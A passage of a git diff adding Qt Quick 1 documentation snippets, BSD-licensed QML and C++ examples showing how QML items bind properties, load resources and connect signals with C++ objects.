+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100
+ color: applicationData.backgroundColor
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: applicationData.backgroundColor = "red"
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/properties-cpp/applicationdata.h b/doc/src/snippets/qtquick1/qtbinding/properties-cpp/applicationdata.h
new file mode 100644
index 0000000000..763a451646
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/properties-cpp/applicationdata.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QObject>
+#include <QColor>
+
+//![0]
+class ApplicationData : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QColor backgroundColor
+ READ backgroundColor
+ WRITE setBackgroundColor
+ NOTIFY backgroundColorChanged)
+
+public:
+ void setBackgroundColor(const QColor &c) {
+ if (c != m_color) {
+ m_color = c;
+ emit backgroundColorChanged();
+ }
+ }
+
+ QColor backgroundColor() const {
+ return m_color;
+ }
+
+signals:
+ void backgroundColorChanged();
+
+private:
+ QColor m_color;
+};
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/properties-qml/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/properties-qml/MyItem.qml
new file mode 100644
index 0000000000..e4e10029cb
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/properties-qml/MyItem.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ property int someNumber: 100
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/properties-qml/main.cpp b/doc/src/snippets/qtquick1/qtbinding/properties-qml/main.cpp
new file mode 100644
index 0000000000..4dc416a94c
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/properties-qml/main.cpp
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+//![0]
+QDeclarativeEngine engine;
+QDeclarativeComponent component(&engine, "MyItem.qml");
+QObject *object = component.create();
+
+qDebug() << "Property value:" << QDeclarativeProperty::read(object, "someNumber").toInt();
+QDeclarativeProperty::write(object, "someNumber", 5000);
+
+qDebug() << "Property value:" << object->property("someNumber").toInt();
+object->setProperty("someNumber", 100);
+//![0]
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/resources/example.qrc b/doc/src/snippets/qtquick1/qtbinding/resources/example.qrc
new file mode 100644
index 0000000000..5e4941512b
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/resources/example.qrc
@@ -0,0 +1,10 @@
+<!DOCTYPE RCC>
+<RCC version="1.0">
+
+<qresource prefix="/">
+ <file>main.qml</file>
+ <file>images/background.png</file>
+</qresource>
+
+</RCC>
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/resources/main.cpp b/doc/src/snippets/qtquick1/qtbinding/resources/main.cpp
new file mode 100644
index 0000000000..b2977168f2
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/resources/main.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QApplication>
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+
+//![0]
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+ view.setSource(QUrl("qrc:/main.qml"));
+ view.show();
+
+ return app.exec();
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/resources/main.qml b/doc/src/snippets/qtquick1/qtbinding/resources/main.qml
new file mode 100644
index 0000000000..00cbb86266
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/resources/main.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+// main.qml
+import QtQuick 1.0
+
+Image { source: "images/background.png" }
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/resources/resources.pro b/doc/src/snippets/qtquick1/qtbinding/resources/resources.pro
new file mode 100644
index 0000000000..cc01ee126f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/resources/resources.pro
@@ -0,0 +1,4 @@
+QT += declarative
+
+SOURCES += main.cpp
+RESOURCES += example.qrc
diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/MyItem.qml
new file mode 100644
index 0000000000..618b90a106
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/MyItem.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ Connections {
+ target: imageViewer
+ onImageChanged: console.log("Image has changed!")
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/imageviewer.h b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/imageviewer.h
new file mode 100644
index 0000000000..aed5f01843
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/imageviewer.h
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+//![start]
+class ImageViewer : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QUrl image READ image WRITE setImage NOTIFY imageChanged)
+public:
+//![start]
+ ImageViewer(QDeclarativeItem *item = 0);
+
+ void setImage(const QUrl &url) {}
+ QUrl image() const { return QUrl(); }
+
+public slots:
+ void emitSignals();
+
+//![end]
+signals:
+ void imageChanged();
+ void loadingError(const QString &errorMsg);
+};
+//![end]
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/main.cpp b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/main.cpp
new file mode 100644
index 0000000000..9da0072a29
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/main.cpp
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "imageviewer.h"
+
+
+ImageViewer::ImageViewer(QDeclarativeItem *item)
+ : QDeclarativeItem(item)
+{
+ QTimer::singleShot(0, this, SLOT(emitSignals()));
+}
+
+void ImageViewer::emitSignals()
+{
+ emit imageChanged();
+ emit loadingError("some error message");
+}
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterType<ImageViewer>("MyLibrary", 1, 0, "ImageViewer");
+
+ QDeclarativeView standalone;
+ standalone.setSource(QUrl::fromLocalFile("standalone.qml"));
+ standalone.show();
+
+//![connections]
+ImageViewer viewer;
+
+QDeclarativeView view;
+view.rootContext()->setContextProperty("imageViewer", &viewer);
+
+view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+view.show();
+//![connections]
+
+ return app.exec();
+}
+
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-cpp/standalone.qml b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/standalone.qml
new file mode 100644
index 0000000000..d2f2fb9479
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/signals-cpp/standalone.qml
@@ -0,0 +1,48 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import MyLibrary 1.0
+
+//![0]
+ImageViewer {
+ onImageChanged: console.log("Image changed!")
+ onLoadingError: console.log("Image failed to load:", errorMsg)
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-qml/MyItem.qml b/doc/src/snippets/qtquick1/qtbinding/signals-qml/MyItem.qml
new file mode 100644
index 0000000000..1275919b8e
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/signals-qml/MyItem.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ id: item
+ width: 100; height: 100
+
+ signal qmlSignal(string msg)
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: item.qmlSignal("Hello from QML")
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/qtbinding/signals-qml/main.cpp b/doc/src/snippets/qtquick1/qtbinding/signals-qml/main.cpp
new file mode 100644
index 0000000000..cede4543ac
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qtbinding/signals-qml/main.cpp
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
